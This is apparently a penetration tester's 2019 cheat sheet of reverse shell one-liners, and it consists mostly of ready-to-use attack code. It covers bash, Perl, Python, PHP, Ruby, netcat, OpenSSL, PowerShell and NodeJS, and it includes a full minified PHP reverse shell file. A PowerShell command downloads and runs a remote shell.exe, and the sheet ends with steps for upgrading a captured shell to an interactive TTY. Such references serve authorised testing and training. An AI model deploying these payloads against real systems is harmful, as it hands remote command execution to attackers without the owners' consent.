February 13, 2019

Reverse Shell Reference

Reverse Shell Reference

This document is supposed to be a quick reference for things like reverse shell one liners, including PHP shells and sources to those.

If you have found some sort of bash command execution access to the target machine, you can quickly verify what avenues you have with a one liner pulled from The Situational Awareness section of the Privilege Escalation Document.

TOC

Get started

Find out what programs are installed ‌

for item in $(echo "nmap nc perl python ruby gcc wget sudo curl"); do which $item; done`

Start your listener If you're on Linux: ‌

nc -vv -l -p 1337

‌If you're on a Mac running OSX or MacOS: ‌  

nc -l 1337

‌ I believe this different might also be related to that of BSD versions of Netcat or the differences. ‌ ‌


Reverse Shells

What you choose is going to matter and depend on a few things:

  • What programs are installed
  • Is there any sanitation in the command window? Eg is it removing quotes?
  • Does it allow pipes?

In my book, simplicity is key as there if there is usually not much to go wrong.

Pure Bash Shell (only seems to run on sh or bash) ‌

exec 5<>/dev/tcp/127.0.0.1/1337 
cat <&5 | while read line; do $line 2>&5 >&5; done

You might get lucky with this, but I do think that you need to have a "bash session" of sorts, such that the pipes maintain across sessions, as opposed to one-shot command execution.

Other Bash Shell

bash -i >& /dev/tcp/127.0.0.1/1337 0>&1

Perl Reverse Shell

This one is incredibly reliable in my experience. Most Linux boxes have perl installed somewhere (unless its a container)

perl -e 'use Socket;$i="127.0.0.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Command Reverse Shell

This might work if the command PHP is in use. If not, you might want to use the secondary type.

php -r '$sock=fsockopen("127.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

PHP Reverse Shell File - Minified

(Untested as of now), if you want to be sure, http://pentestmonkey.net/tools/web-shells/php-reverse-shell

<?php set_time_limit(0);$VERSION="1.0";$ip='127.0.0.1';$port=1337;$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -a; w; id; /bin/sh -i';$daemon=0;$debug=0;if(function_exists('pcntl_fork')){$pid=pcntl_fork();if($pid==-1){printit("ERROR: Can't fork");exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$daemon=1;}else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}chdir("/");umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit("$errstr ($errno)");exit(1);}$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while(1){if(feof($sock)){printit("ERROR: Shell connection terminated");break;}if(feof($pipes[1])){printit("ERROR: Shell process terminated");break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printit("SOCK READ");$input=fread($sock,$chunk_size);if($debug)printit("SOCK: $input");fwrite($pipes[0],$input);}if(in_array($pipes[1],$read_a)){if($debug)printit("STDOUT READ");$input=fread($pipes[1],$chunk_size);if($debug)printit("STDOUT: $input");fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debug)printit("STDERR READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("STDERR: $input");fwrite($sock,$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){if(!$daemon){print"$string\n";}}?>

Ruby Reverse Shell

ruby -rsocket -e'f=TCPSocket.open("127.0.0.1", 1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat Reverse Shell

nc -e /bin/sh 127.0.0.1 1337

Netcat without Netcat

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

OpenSSL Reverse Shell - Courtesy of hook_s3c

You'll need an SSL listener, a fun tip not many know about is ncat --ssl option.

You can actually use ncat --ssl to interact with a number of SSL services! Thank me later...

ncat --ssl -vv -l -p 8000

Or if you don't have ncat, you can host it manually. Try this oneliner.

mkdir -p ~/tmp/openssl && cd ~/tmp/openssl && openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes && openssl s_server -key key.pem -cert cert.pem -accept 8000

And finally, connect back to your server...

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:8000 > /tmp/s; rm /tmp/s

Powershell Reverse Shell (Inside Powershell.exe)

$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Powershell Reverse Shell (within cmd)

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Got a binary you want to execute?

https://github.com/infoskirmish/Window-Tools/tree/master/Simple%20Reverse%20Shell

https://github.com/audibleblink/gorsh

python3 -m http.server / python2 -m SimpleHTTPServer
powershell -command "((new-object System.Net.WebClient).DownloadFile('http://127.0.0.1:8000/shell.exe', '%TEMP%\shell.exe'))"; "c:\windows\system32\cmd.exe /c %TEMP%\shell.exe"

NodeJS Reverse Shell - Full Script

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "127.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

NodeJS Reverse Shell - #2

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')

Upgrading Shells

Source From Ropnop

Using Python PTY

This is for upgrading from a standard nc shell to a full interactive shell, this only works on Linux/Mac endpoints. This is a gem from Phineas Fisher.

Disclaimer, if you use ZSH, sh, or Fish, this might actually break your shell. So be careful to do this in a pure bash session first. You'll learn this the hard-way if you try this on ZSH and end up losing your shell, definitely has never happened to me on engagement.... :)

  1. python -c 'import pty; pty.spawn("/bin/bash")'
  2. Background shell with Ctrl+Z
  3. echo $TERM && tput lines && tput cols - (note this down, it will disappear)
  4. stty raw -echo
  5. fg
  6. reset
  7. export SHELL=bash
  8. export TERM=xterm-256color - (refer to step 3)
  9. stty rows 38 columns 116 - (refer to step 3)
  10. Enjoy :)